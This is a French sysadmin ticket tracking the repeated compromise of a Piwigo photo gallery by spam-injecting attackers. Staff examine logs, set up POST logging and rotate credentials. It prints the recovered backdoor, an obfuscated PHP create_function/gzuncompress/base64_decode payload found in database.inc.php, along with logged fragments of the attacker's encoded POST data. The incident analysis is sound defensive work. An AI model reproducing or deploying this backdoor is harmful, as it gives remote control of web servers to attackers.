Admins - Demande #2996

Anomalie # 2861 (Fermé): Photos.april.org : la page search vérolée par du spam

Faire en sorte que piwigo ne soit plus vérolable

07/03/2018 14:53 - Quentin Gibeaux

Statut:	Fermé	**Début:**	07/03/2018
Priorité:	Normale	**Echéance:**	
Assigné à:	Christian P. Momon	**% réalisé:**	100%
Catégorie:		**Temps estimé:**	0.00 heure
Version cible:	Juin 2019	**Temps passé:**	0.00 heure
Difficulté:	2 Facile		

Description

Piwigo (photos.april.org) est vulnérable à une faille qui insère des pages redirigeant vers des sites de vente type spam.
Une issue a été ouverte upstream, suivre son évolution : https://github.com/Piwigo/Piwigo/issues/827

Un check icinga détecte la vérolisation : à la prochaine alerte nous aurons une piste pour analyser l'origine du problème.

Demandes liées:

Lié à Admins - Demande #3721: Remettre l'application photos.april.org dans la...	**Fermé**	**30/05/2019**

Historique

#1 - 07/03/2018 14:54 - Quentin Gibeaux

- Version cible changé de Backlog à Mars 2018

#2 - 07/03/2018 15:03 - Quentin Gibeaux

- Sujet changé de Suivre le bug de corruption de Piwigo à Faire en sorte que piwigo ne soit plus vérolable

- Description mis à jour

#3 - 08/03/2018 10:46 - Cédric Heintz

Mise à jour du plugin "Check Files Integrity" effectué hier de la version 0.0.7 vers 0.0.8.
J'ai refait un scan comme dans le bug report, mais il ne détecte toujours rien d'anormal.

#4 - 08/03/2018 14:07 - Quentin Gibeaux

- Version cible changé de Mars 2018 à Backlog

#5 - 03/05/2018 09:52 - Quentin Gibeaux

- Assigné à mis à Christian P. Momon

- Version cible changé de Backlog à Mai 2018

Suivre l'évolution du rapport de bug et surveiller la réapparition du spam (monitoré).
https://github.com/Piwigo/Piwigo/issues/827
Mettre une petite réponse pour relancer les dév, et tenter de les sensibiliser à l'ampleur du problème (énormément de piwigo sur le web sont concernés, si on fait une recherche)

#6 - 03/05/2018 11:30 - Christian P. Momon

- Statut changé de Nouveau à En cours de traitement

#7 - 10/05/2018 11:06 - Quentin Gibeaux

C'est revenu aujourd'hui.
Le premier fichier est apparu hier à 23h16, dans les logs à cette heure ci on a cette IP qui est bizarre (modalve)

```
176.123.1.250 - - [09/May/2018:05:15:29 +0200] "POST /index.php HTTP/1.1" 200 47 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
176.123.1.250 - - [09/May/2018:23:16:13 +0200] "POST /index.php HTTP/1.1" 200 19 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36"
176.123.1.250 - - [09/May/2018:23:17:15 +0200] "POST /index.php HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
```

```
176.123.1.250 - - [10/May/2018:00:52:06 +0200] "GET /index.php?search=achat-cialis-pas-cher HTTP/1.1" 200 3975
2 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
```

Il faudrait voir pour analyser le traffic post pour la prochaine infection.

#8 - 10/05/2018 11:56 - Quentin Gibeaux

Des pistes pour logger les données post : https://stackoverflow.com/questions/989967/best-way-to-log-post-data-in-apache

#9 - 10/05/2018 12:02 - Christian P. Momon

https://www.jujens.eu/posts/2017/Feb/13/log-post-requests-apache/
https://www.technovelty.org/web/logging-post-requests-with-apache.html

dumpio vs mod_security ?

#10 - 10/05/2018 12:44 - Romain H.

J'ai activé les logs avec mod_dumpio (/var/log/apache2/error.log).

#11 - 10/05/2018 15:51 - Romain H.

Il y avait une backdoor cachée dans le fichier /var/www/photos.april.org/piwigo/local/config/database.inc.php, je l'ai mise en commentaire.
Comme c'est un fichier généré, le test d'intégrité ne permettait pas de savoir qu'il y avait quelque chose de caché ici.
Je vais la déoffusquer pour voir si c'est quelque chose de connu.

Il faudrait :

- changer le mdp de la base de données
- changer la secret_key dans configuration de Piwigo
- faire un reset des mots de passe des utilisateurs

#12 - 17/05/2018 10:34 - Christian P. Momon

Ajout d'un message sur le ticket en cours : https://github.com/Piwigo/Piwigo/issues/827#issuecomment-388541612

#13 - 31/05/2018 13:15 - Quentin Gibeaux

- Version cible changé de Mai 2018 à Juin 2018

#14 - 28/06/2018 13:27 - Quentin Gibeaux

- Version cible changé de Juin 2018 à Été 2018

#15 - 18/08/2018 23:44 - Christian P. Momon

Ce samedi 18/08 sur #april-admin :

```
15:02 -!- vivivi is now known as vivivi[1]
15:51 < cpm_screen> !list
15:51 < vivivi[1]> 1 probleme enregistre
15:51 < vivivi[1]> [00] photos:Spam in piwigo is CRITICAL: CRITICAL : found  cialis viagra clomid lioresal dap
oxetine nolvadex orlistat priligy propecia levitra in piwigo _data directory
```

Précédemment, Romain avait identifié le vérolage du fichier *database.inc.php* et effectivement, c'est revenu :

```
[…]
define('DB_COLLATE', '');
//1325c28e1337725b61ef7e7af4c04b9f
create_function('', gzuncompress(base64_decode("eAHdWnlv4kgW/7+l+Q60FHViTXbGLh/gYZhJwpWkCQkGHEKrhcAYcGIOcebofP
d95aOqXLZJsj3albalVozr1at3/urVK79mnFHm6PPQHjkze3h0eFot11u9UrlYOzXKpUNByLx88gdjY8eZ9XJjC/lPv3zKjDYza+3MZ5lZT9c0
JB8dOMLLQb9wulz2n44OG+1hpeUao4ZkNFsV3Ww/7AqHx4f9c0O0SvNtTT6bD2Rjaz2pE+v8cjEoqltram37t+pDtzPeWNXJDsg5LjXDfMBc6s
9j+Wp6ha5K1tPd/eljt3rxVG913Xqr7l6VLh+unsfqHWrA/ytMTriIlVKzbI7a5Uq7eVrAQzVH2eL/HWRMhtXy1kKmOKy6m67szfTE9SmH1fru
2sltYZL39twjsOT6KniLuUnKvObMf//aEL+WGnP8vLgs6s94TtWcdKvmEzzeIX0zrJqboc/YQvV591ZyPSL9OXxbrYj9QMadJ6pF31gd07Vmni
lugkH6xhDN9oU/86I8aZuV0+1VU9mBPFjhZllvmaX5OLpaMNi4rd93O2di7fZxMpgOpbvboXvtnLkDR5Ksp0d3cL9+vGmdbuqgHzAwO3XXcqSz
LgJlgKeJhu6wmHus3ZelkCPoOpia92DT7eB+Pr5Dj2Djdr049jj0q4zC+hPRnTxel06x1IyNblAl4CbNuh2jPEBAjCpqu1qZdRuepS5n5tOgJO
KJ+LHf8h7bD6Zhts2W6UWjZzwYfe52Lie+Ah5Vs2K025hCNJsdsXJutNU25jN1d3e3xoM1NZ+t55BfvSUZFaAqG5ULb7WptL2buquuv2K6z9OU
aFXd52GxK1nTnQ6rvpvBFeTN0noiE/er/W62YFxIy4fHhSU3psPO5erGN3A6g5pkLAa35nbYaWgXxfHmq/Ow7fuTbuT/lVdml253aj6B754CBQ
IvN412twJx0fQ8XLm/Q+ZuWMWxb2HzB1RnDbFeaVeMUatcuTYk88wQ29jbXB43qvXtYNpddEUvZNuidNYGAMSBZD64JcMkILhnyCwbrY4Ey7nd
y4Zojkzz8gqWSnkNvM/aD/ULCNLzZlvFoegFbNsHhTeGW2292Gw/8rNSXhtl/bolXY4aAYga5qTRNC8rIN3+oZu2Ozy7NfVSow2SmnrltnJ22X
7wTAgz9w23RbcNM5Jm7hmq+drXkJfjKQn9LqJBB0ezJ2lAP/R5N6rGdiBfyncd93SAc7bs+Zx9DXA967b9UIgjT3HsIdXATw1v3lR/alRxqhmn
YFP21WC6fm6cehMSQIxQnoep5zEAHsEimNt5fQFbzikJWV/eBG6+ua5wfA+Qgv8wux2zHQabXmDdi5ZUxzB57avlxzwAqHQG7m1gLglL1US8O5
1ZteeKVXPGu1GpvLgoXeyuimc3zSd9gdemu2ZNhPSaGe5g1lib5+6ua+60i3PDtc8Nq4Ym4uB2FyINM4so7Jsv8GKCMHfTx+0dWrtdn7BV1e/v
```

```
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
")));
//1325c28e1337725b61ef7e7af4c04b9f
[…]
```

Tentative d'identification de l'horaire du vérolage (a priori 2018-08-18 14:26:21) :

```
(April) root@photos:/var/www/photos.april.org/piwigo/local/config# stat database.inc.php
  File: database.inc.php
  Size: 6604            Blocks: 16         IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 143861      Links: 1
Access: (0644/-rw-r--r--)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2018-08-18 14:26:22.379729507 +0200
Modify: 2018-05-10 15:47:53.000000000 +0200
Change: 2018-08-18 14:26:21.155704153 +0200
 Birth: -
```

Dans */var/log/apache2/error.log* pour les logs dump_io :

```
[Sat Aug 18 14:26:21.134690 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(63): [client 172.16.0.1:46442] mod_
dumpio:  dumpio_in (data-HEAP): 49 bytes
[Sat Aug 18 14:26:21.134692 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(103): [client 172.16.0.1:46442] mod
_dumpio:  dumpio_in (data-HEAP): Content-Type: application/x-www-form-urlencoded\r\n
[Sat Aug 18 14:26:21.134694 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(140): [client 172.16.0.1:46442] mod
_dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sat Aug 18 14:26:21.134696 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(63): [client 172.16.0.1:46442] mod_
dumpio:  dumpio_in (data-HEAP): 2 bytes
[Sat Aug 18 14:26:21.134698 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(103): [client 172.16.0.1:46442] mod
_dumpio:  dumpio_in (data-HEAP): \r\n
[Sat Aug 18 14:26:21.134788 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(140): [client 172.16.0.1:46442] mod
_dumpio: dumpio_in [readbytes-blocking] 8541 readbytes
[Sat Aug 18 14:26:21.134797 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(63): [client 172.16.0.1:46442] mod_
dumpio:  dumpio_in (data-HEAP): 2457 bytes
[Sat Aug 18 14:26:21.134799 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(103): [client 172.16.0.1:46442] mod
_dumpio:  dumpio_in (data-HEAP): kcd80775=%3D%3Dwf6Lq%2FB8f9m9s85982JTqv6n0%2Fc5LhLjuPfuuL4lWiB%2F5zwsy5TfYqKl
f%2Fn8I7lpuxJj3ffeOZv8uPfBUhves%2FriRZH8DG%2Fd7LzX%2F%2F
HPM%2Fc0j%2Ffe978j9g%2FeK%2FJw3P5LfD%2FbSJx73L0XW%2F99L6TyfXXWf%2B%2B%2BhPvdB9ewH2XqbH3EVn%2FgvE57lXYw3tPYqXbO
M%2B4kmM%2B96hOt%2Bvu%2Bn%2Fe%2Fs8%2Ffbz7v3P7%2F%2Bmq7vvfr9zja%2FuF4n%2Fesfvf5CZ%2Bb8TdzvQPNduDz%2FSvgOO%2Fd%2
BlnqeqMi0axbLG39k9%2B7zn0z%2FfHv8%2FfQQJ239HXCuN%2F%2B%2
B%2B%2Bn%2Fve9684dXX2H%2FfvSce597r77%2B855Lr8qeNjdY8qf8jf%2B%2Bmk%2F%2FbjzfRfUOE%2B%2Fm%2FEMj%2Ffe961rW9%2BDzv
```

rvOz%2F%2B1x4d2xMd509%2F5qlzfJB2rSk%2Fjl%2BAGZ%2Ff9q6%2F76tbO95nu8aCX%2F1M2w%2B7hfw0s56T302D%2FDbz1f1k%2F98d7z
JDxxP6f8%2B83XXZe56%2Fgz%2BVn6r%2FiMr3eld1H3ex35Gm7DPKjf
PXt97jXg%2F9Pj0oBw8IX46Dn4%2FfT9hDv6173vPHMM1Dce757bX1s6wcr34%2FPM6TOP1N1y3Ov%2Fr6y3Pav%2F869rb%2B%2FLf0s%2BwX
flW53rnLv%2Fveu92z%2FPHfdz1Pl%2BckW1ngjA99XoH60XzNs6%2B73bvD%2FtwH%2Bbp%2F%2Ffn%2BcpA%2F9xH%2F%2FKf%2ByrC%2FX8
%2F%2F3H3Ff%2F797p97%2FPfQ%2F%2B%2F%2B4x8333p7%2F%2FJf%2
FyV7e%2B%2B2zY3WO998rDf%2Fi53dAf4B3%2Fhq87XLzhniXchv8hN%2B9HcszfBN%2BxN7Ln0Ms13kncl3d85787H%2B0lq%2FZIwHy%2B%2
Fvdzq3%2FXHv%2Fujm1Gfr5NheBgFDIEFog1Fbo8n3IxIUXqqyvBD3Z277cG0NGtXGW7imZOVzhMeP%2Fu3aMOkYWxCUtMZdxHoW0qmtx1JFz6
arlme70d5BV0PVi64nTwT9tOBCSrMXPzJLNzKpXPif8MYiuGJlP7HG6d
joFzLcsgd%2BSVeRuI2Prl8gGRcvsQKMDk91SLd6twoMGBbq6ieOJWyB0YY4RqH5hCSi7r6keydAgprjIjm%2BdErB%2BobdqGkf0KHU%2FM3u
JukLyeRnbTVr%2FHi5OeuG%2BFmV4zRxb3k%2BsQMdSXqx4Bw%2BWKl%2BQl8KRDyGmhGqo%2FAiD9Jgu%2BXsavE3Pc9uwsGq9rw%2Br47BKT
iPdwka9ZYbsBwafGCb8UDD3tQCt8ZIvHA6Ege7XJksN2yUXdFKhBXyZC
aJAi%2BpgQesAAeymCQB9akTPBzhzHcAUuPvQOpAy%2F45Qw3wEclcxIIveGADCLVFN8dWpn6oa6T5PQudUlGDhS%2FdeoEFFE6%2F%2BcvKw5
RudQlhtLCQvuRRqFzC4nnkHZ%2BBZGzIZIqu%2B1EFLW2FEc82TX4ertzar%2BRP87BFo83oUexkT2IemqrGQH4zg5JDw92cteeMAa%2FD69xg
NEjGipo3BsjoN1V02IWD9ur2qPDS8NnmH9CbUP6ZJn6JVd6EckT5jN2f
Y%2BD8BQU6tgx4eEtMOeRWr0CfVdQqfzSCzKgpuvJkJdhIL07cSQF2G%2BcfRccFhQdkxnDLYwIP3HNUKQ2HV4EByql317IPTrK3UWqYzPE%2B
y3or8g42cq4m%2BWV80iCZ7zDUbSZZNaFhapc6PwUyE8IVdU7Q1bXcQF6OHws4VVie4BE
[Sat Aug 18 14:26:21.134808 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(103): [client 172.16.0.1:46442] mod
_dumpio: dumpio_in (data-HEAP): iJCH7JB9OA3HftkOsQF2oEWJMDZ%2B2HyarrgueTMVDWDnEmFt4%2BAua2GHIeQj8XB6OH%2B4ArK
%2FzfvRiyZ7VFRhPHnhhqm52CtejPFtN4eRzye0SccP1x1mBeBge5zhR
xwkBlUNp80UXToaZfF8YQ01Zzg94Umoyyy4avdxFRIqJNwXH0ZziebonzFuweD780Z4XTphmvjA5u3M0Ew5Yj%2B0nBsrbqkA3rRyfOyaB%2BA
s%2BdNpvddGMBNZXYoRYDQOXMzw474iR7p6RQqXFQXhKPHH%2BTfi8AUC%2F%2Ffx82UcrA7gm7tdUPwPxUJkzy7ASbnTrqjbmh4Q6KemoqnLi
%2BGviYd%2FKkNeEGedZGqY%2Fldcv4XLALPGpp2GAv8XijAs3K32VHo
H7zi1b%2FVp2HAJnEUwlBmll7pWNVNAa7AI3LXDJzGkW70KoHZYKhY70Bclaaxx9Mkm6CZ0ZzwxHQf6A
[Sat Aug 18 14:26:21.134811 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(63): [client 172.16.0.1:46442] mod_
dumpio: dumpio_in (data-HEAP): 2896 bytes
[Sat Aug 18 14:26:21.134813 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(103): [client 172.16.0.1:46442] mod
_dumpio: dumpio_in (data-HEAP): MNfUJdbKxuQT8W7MXHWOSynRI9980ZKYo7gfyzh6cDF4grTwB6jBmGEguFecNnkB8xd%2FH038F2O
qB12vGSyfYoeMD15MDMRC2S5TfJ6CyBwntCUPC%2B%2B%2BVthJyjstn
6vVG%2BColHyxgbzq46q0VcxunmlQZyXMBmqUSNBQiwGygyWv1CXA0y0x%2B570Sp6Jop4hxNtiraxKinu6eYlAqTKVk5zKqe2SClM8aS26Tg6
5x%2BqZw60BtGqLDPAX57CpZGJKpYs0F6hEzE74yRYfzCc1TYeJef64eWEcmZCi2oj%2F2NLZdfI32GAgFRlX61HOFatYBZchg5a51982ioknV
wJ4dKMnCjuT%2BPCtzuJcxwy16HofkjqkWbHjZtTWEYT51f8aBhez2XB
NDEOELRGb5k6xV9tPh25HZx8iEf3FVq6RyTwitw2rPsflnOsU1tnpNoSG%2FT1ENyp1qQtb1wdc1Cci2k8JULRvOI1I8mwk4LpmbSDJ8ovW5Oz
GAm57cdI05UJq3tlhLFD1CSmOrHBq8pVUZiQxGaLcoa2WeO08gcSyS7o5VEpo9w4Jid2ebOHiekUb9WqW5bwdC3s8ixyV%2BOo6Zr6aaBMLmFm
xzbKxp34jAWZsc8zYogENIRe8qIzdDUbp7jAcWoO68AxyMrt3zDz1wK0
1mIjLTW4zWm6NPF%2Bklcag5V0a7AjjfhbPxnzYvXGA9bpGrE2QiIDSwqO4CMnDyDwOYH4soQ58gXe33q1ZV5wIq5k6JVH2pfqSRyVxtYil3wQ
5bKIGFqdVJPHB8o%2B%2B6QUMFCBSuppq2jBJwddQzTM9mfjTaml5jgYr4miZzGjy9OQx9uGjCS3yxa0RKecEunA%2BrPwmTsxgdgMUMmMoPgJ
GVgdI96u698gTJL7KrLPRpDPD6MpYF9eY5euWEmm%2FxccvU1i88Ki2P
qEP6vARYfPV1tV4DKNjqQ9Gp4z5Q47BubkxaOswjCsPHvTriMu3boEZOST05xUQMJopxpztlLqQvUVtSQHXGzMSsP3KkgyoVkQo7q5e%2BuBmJ
CIl%2BDIlhie2LtvlYsOBSvD%2BD55QrpwLPJFI2ebIqWdTdufJyjBq40c5ovbo49TV5pw3y%2BYbyCZ8JXixUne3l1sxglx2DWc%2FyKZJqfD
4WCDFciPEcs043bH84QapJhBGxIMc7EVhRLc9icmOS8Sb29A3eTyHA%2
FnMGdAGf261QhNmFM3SW228Y9U5fCdGbtdF3Z7dCWHKQhz5peZsKFXiJYb7iAoVdCXB0nrEnFPwdzXMw3MZRFi7A9YMdW8eEwQP45Ao0v1NnVU
38jCyF%2FFSsmYpPotYAsx3BoPDar3B6RjVfiii9cmn7V56mLIbccSFyzGJXuA7paPOoWJZfpB%2Bx3Mdyc5MEVCPOlJCBeNTbMaWIOWshoW2K
l2cE6HdmwbftTzcldbMqmOBp3zs9%2FhdHrgGxIe8FWMFSXu2fApxHFM
xUdXHIB0BJ7hJqmHIXZgXOpH7E9XCKbD6cEd0Job3FO0IIY4RXmyrnkZ%2B4C0nqcrnChb6ZVv7T9JhSk1%2BU%2FIg2m8iRNZmp9HIdTgaOem
pTeCKGFCi8exH%2BJUz8yfOIHHmRRsebDSUNFTKDOsq9YtNgqbfKRv1Vs29K3lcbTCkgn9wkAxohOOgk5RwTjxih3RxcrwnkgnLGOIbS%2BYtR
RZvDeONFtSAsVeySQ5hRCVvJvhFdXe5eXbo4hzYWiTm4ufKEPmGN%2Bc
aGOvYfAtmo2RzkaScqjysrTDMTCaRFameC073V4LYdi3xY2WOEaN%2FK5PPkPL8IkZ0t3HNcBXf1iobh55ZldJOD55A3lMHjHtSWE%2FK0a0WJ
6cxEzVvQosVHmvRmrBb2dX4C8xYhxhn2r5mCkHULdhqf%2Fk0HcR6eGF6%2BGY%2Fn9Hs
[Sat Aug 18 14:26:21.134819 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(103): [client 172.16.0.1:46442] mod
_dumpio: dumpio_in (data-HEAP): X9L7nOsAbRGJB8qxKOxiRsZyhgRrvLWzOT3rFyMvZFDLwhTo0DepYHM3wgifyW29cgSb3sQplPqgj
x2n2wiBtfExFqukXakplnE4M7UlVfHGNiLNzN7a6E9LACu568vwoxndA
YyZtTHjYofpEX1Foql3ybCFO4okxUCS1ttoOEX%2BIuUGe5nFKmPMwMAtvi6Y%2Fde%2BbI2%2BbWfhYggrlW4nLSEY9a5EonZBBHkL68QmxB%
2BcEWCA%2BONGC3FpcgjlOCbTAwOz%2BQ5QjwkzrE1bO07otKOQRvkXrvFIrZ1kY0GYMf8Axwo4pDOH81Ofzx4woQb6GshC6ZeSsF3prWTXiFO
rm9PC4besMHDLDW6QevcbWc7LHS0AF%2F2hnAWOXwkJ7IV8870rVyhvz
R5s5WEV0OCGOocN2F2EK7dh6Su%2FYsfOSI2PjFaL%2BV7wjxazsXh5dbvPtIXD%2FqXA%2FUGiMFbvvJGlI0nhIu2HTF7RQ8x%2FlXUvDsJ4%
2BmYYrlmnrdx9jXomV7GGMvMhG0yCP73ghEafKwTD0xol5l4FeTZBiGMMVvoeW%2FA7cD4q3NJ9krs9E1pEi4DEG8nJfZrdN2C1nCnVOLlkXg9
N3cfSTDQXSfRr6mc0%2FhTG9RghoH8G%2FDWbCB3mA5E%2FUu%2BAMsW
pL404VQZaogl7nOp336gv3kE6wOFqdPmRFExUYaJSOL7MECKdnYcduMnrxgsMC21q5b4PQ9a1U70rF7baJO0NZnGbHsfUQA4lwLZazvl18OCTv
zD1zWEvclEX5eZ98LkwuP4RibaAegB6qeo3xx2qus9A8dniITXLhyecubMNkRwZyucW8XA0VuxmGQlZWDtrjl3V4bgVmXMMux3RETIEezO3rRh
XCuDgE8q5IgXrHC6jbnpt%2
[Sat Aug 18 14:26:21.134825 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(140): [client 172.16.0.1:46442] mod
_dumpio: dumpio_in [readbytes-blocking] 3188 readbytes
[Sat Aug 18 14:26:21.134904 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(63): [client 172.16.0.1:46442] mod_
dumpio: dumpio_in (data-HEAP): 1448 bytes
[Sat Aug 18 14:26:21.134912 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(103): [client 172.16.0.1:46442] mod
_dumpio: dumpio_in (data-HEAP): FkiwU7a7%2B0T25pyywQYKsbDp8gqScns5GcdSsJXtS288iv48CE20S9rVyMKvuV3KC9MOyGIwwLH
QMdBwu6QIa1ztVeXgSpMPLp3tXcu4p1Ip0KdGjeQvxzn0lw4P6nkhNXq
j9TyyBDqjHnrc%2FRAXnhDmeQVRyx3OzCr%2FM2%2BJghmpmIomU1B0XkVPGj0np14NIYi5sNk37sKYHKUwDlhSCtZqtxH4h0OspyH2paZyS46
YlkEasxyshkro4uW%2BCB6cMU0li283qDeAcQuaQNKzj0iC9t0Cv6zWoAijCIrptzAH8WIui7GNo0NxQf5zgx7OJdB3QLYvV7DpAGKomAjPSS6
8TeO2JuKGAtOuROaUbroXQC8kvGmEfPjPEzdcRltpif7liKtf%2BE0x5
a33Rv0X%2Be%2BKMek6Y9tPhr0MyA2sgqcuTrzgKfuUx71cMk68TMTFt6r%2BBEO7wQsNXo92UVsNndOyb5QOycchVhE9MEvGYkdnMVkYxMbpt
